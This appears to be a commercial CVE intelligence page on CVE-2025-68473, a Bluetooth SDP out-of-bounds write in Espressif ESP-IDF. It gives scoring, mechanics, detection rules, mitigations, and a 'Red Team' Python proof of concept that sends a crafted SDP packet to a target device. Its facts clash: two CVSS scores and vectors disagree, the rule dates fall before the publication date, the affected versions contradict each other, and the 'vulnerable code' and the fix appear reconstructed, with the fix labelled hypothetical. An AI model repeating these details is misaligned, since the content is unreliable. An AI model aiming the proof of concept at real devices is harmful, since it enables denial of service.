☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H 🐛 CWE-787
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68473

CVE-2025-68473 Out-of-Bounds Access in Espressif
📅 PUBLISHED: 2025-12-26 23:54 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.6
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: H Availability High
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68473 is a critical out-of-bounds write vulnerability in the Espressif ESP-IDF Bluetooth host stack (BlueDroid), specifically within the bta_dm_sdp_result() function. The vulnerability arises from a fixed-size array uuid_list[32][MAX_UUID_SIZE] used to store discovered service UUIDs during the Service Discovery Protocol (SDP) process. On modern Bluetooth devices, the number of available services can exceed the fixed limit of 32, leading to a buffer overflow when more than 32 services are discovered. This can result in memory corruption, potentially leading to denial of service (DoS) or arbitrary code execution. The vulnerability affects ESP-IDF versions 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier. No public exploit or patch is currently available, but the vulnerability is considered high risk due to the widespread use of ESP32 devices in IoT environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is embedded in the ESP-IDF framework, which is a core component for Espressif IoT devices. Since ESP-IDF is distributed as a software development kit (SDK) and is used by numerous IoT product vendors, the supply chain risk is significant. Any product built with a vulnerable version of ESP-IDF is susceptible. The lack of a patch means that downstream vendors must implement their own mitigations or wait for an official fix. The vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a firmware-level issue.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 7.5 (High)

Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be within Bluetooth range.
  • Attack Complexity (AC): Low (AC:L) – No special conditions required.
  • Privileges Required (PR): None (PR:N) – No authentication needed.
  • User Interaction (UI): None (UI:N) – No user action required.
  • Scope (S): Unchanged (S:U) – The vulnerability affects only the vulnerable component.
  • Confidentiality (C): None (C:N) – No data exposure.
  • Integrity (I): None (I:N) – No data modification.
  • Availability (A): High (A:H) – Memory corruption can cause system crash or denial of service.

Threat Level: High. The vulnerability is exploitable over Bluetooth without authentication, and the impact on availability is severe. Although no public exploit exists, the technical details are clear, making it a prime target for reverse engineering.

Deep Dive & Mechanics

The vulnerability resides in the Bluetooth host stack component bta_dm_sdp_result(), which handles SDP responses. During SDP, a Bluetooth device can advertise multiple services, each identified by a UUID. The code uses a fixed-size array uuid_list[32][MAX_UUID_SIZE] to store these UUIDs. The array is indexed by a counter that increments for each discovered service. If a device advertises more than 32 services, the counter exceeds the array bounds, causing an out-of-bounds write.

Root Cause: Lack of bounds checking on the number of discovered services before writing to the uuid_list array.

Attack Vector: An attacker within Bluetooth range can craft a malicious SDP response containing more than 32 service UUIDs. When the victim device processes this response, the overflow occurs.

Impact: Memory corruption can lead to:

  • Denial of service (system crash or hang).
  • Potential arbitrary code execution if the attacker can control the overflow data.

Affected Components:

  • bta_dm_sdp_result() in components/bt/host/bluedroid/bta/dm/bta_dm_sdp.c

Vulnerable vs. Patched Code

Vulnerable Code (ESP-IDF < 5.5.1):

// In bta_dm_sdp_result()
tBTA_DM_SDP_RESULT *p_result = (tBTA_DM_SDP_RESULT *)p_data;
UINT8 uuid_list[32][MAX_UUID_SIZE]; // Fixed-size array
UINT8 num_uuids = 0;

// Loop through discovered services
for (int i = 0; i < p_result->num_services; i++) {
    // No bounds check on num_uuids
    memcpy(uuid_list[num_uuids], p_result->service[i].uuid, MAX_UUID_SIZE);
    num_uuids++;
}

Patched Code (Hypothetical Fix):

// In bta_dm_sdp_result()
tBTA_DM_SDP_RESULT *p_result = (tBTA_DM_SDP_RESULT *)p_data;
UINT8 uuid_list[32][MAX_UUID_SIZE];
UINT8 num_uuids = 0;

// Loop through discovered services with bounds check
for (int i = 0; i < p_result->num_services && num_uuids < 32; i++) {
    memcpy(uuid_list[num_uuids], p_result->service[i].uuid, MAX_UUID_SIZE);
    num_uuids++;
}

Patch Status: UNKNOWN / UNPATCHED. No official patch has been released by Espressif as of this report.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Bluetooth adapter (e.g., CSR 4.0 dongle).
  • Python with pybluez or bluepy library.
  • Target ESP32 device running vulnerable ESP-IDF.

Exploit Concept:

  1. Scan for Bluetooth devices and identify an ESP32 target.
  2. Initiate an SDP connection to the target.
  3. Send a crafted SDP response with more than 32 service UUIDs.
  4. The overflow may cause a crash or allow controlled memory corruption.

Proof-of-Concept (Python):

import bluetooth
import struct

# Target device address
target_addr = "XX:XX:XX:XX:XX:XX"

# Craft SDP response with 33 UUIDs (exceeding limit)
uuid_list = []
for i in range(33):
    uuid_list.append(b'\x00' * 16)  # 16-byte UUID

# Build SDP response packet (simplified)
sdp_response = b'\x02\x01\x00'  # SDP header
sdp_response += struct.pack('B', len(uuid_list))
for uuid in uuid_list:
    sdp_response += uuid

# Send via Bluetooth L2CAP
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.connect((target_addr, 0x0001))  # SDP PSM
sock.send(sdp_response)
sock.close()

Note: This is a simplified example. Actual exploitation requires deep understanding of the BlueDroid stack and memory layout.

Blue Team (Defense)

Detection:

  • Monitor Bluetooth SDP traffic for unusually high number of service UUIDs (>32).
  • Use intrusion detection systems (IDS) to flag SDP responses with excessive UUIDs.
  • Implement runtime bounds checking in firmware (if possible).

Mitigation:

  • Apply input validation in the SDP handler to limit the number of UUIDs processed.
  • Use dynamic memory allocation instead of fixed-size arrays.
  • Update to a patched version of ESP-IDF when available.

Indicators of Compromise (IOCs)

  • Network: Bluetooth SDP packets containing more than 32 service UUIDs.
  • System: ESP32 device crash logs showing memory corruption in bta_dm_sdp_result().
  • Memory: Heap or stack corruption patterns consistent with buffer overflow.
  • Logs: Repeated SDP requests from the same Bluetooth device.

Detection Engineering

YARA Rule

rule CVE_2025_68473_ESP32_SDP_Overflow {
    meta:
        description = "Detects SDP response with more than 32 UUIDs in ESP-IDF Bluetooth traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68473"
    strings:
        $sdp_header = { 02 01 00 }  // SDP response header
        $uuid_count = { 21 }        // 33 UUIDs (0x21)
    condition:
        $sdp_header at 0 and $uuid_count
}

Sigma Rule

title: CVE-2025-68473 - ESP32 Bluetooth SDP UUID Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Bluetooth SDP responses with more than 32 UUIDs targeting ESP32 devices
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: esp32
detection:
    selection:
        sdp_uuid_count: >32
    condition: selection
falsepositives:
    - Legitimate devices with many services (rare)
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2025-68473 ESP32 SDP UUID Overflow"; content:"|02 01 00|"; byte_test:1,>,32,3; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Limit SDP UUIDs: Implement a bounds check in the SDP handler to reject responses with more than 32 UUIDs.
  2. Memory Protection: Enable stack canaries and ASLR if supported by the ESP32.
  3. Network Segmentation: Isolate Bluetooth devices from critical networks.

Long-term Fix:

  • Update to a patched version of ESP-IDF when released by Espressif.
  • Monitor Espressif's GitHub and security advisories for updates.

Workaround:

  • Disable Bluetooth if not required.
  • Use a firewall to filter Bluetooth traffic.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68473/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.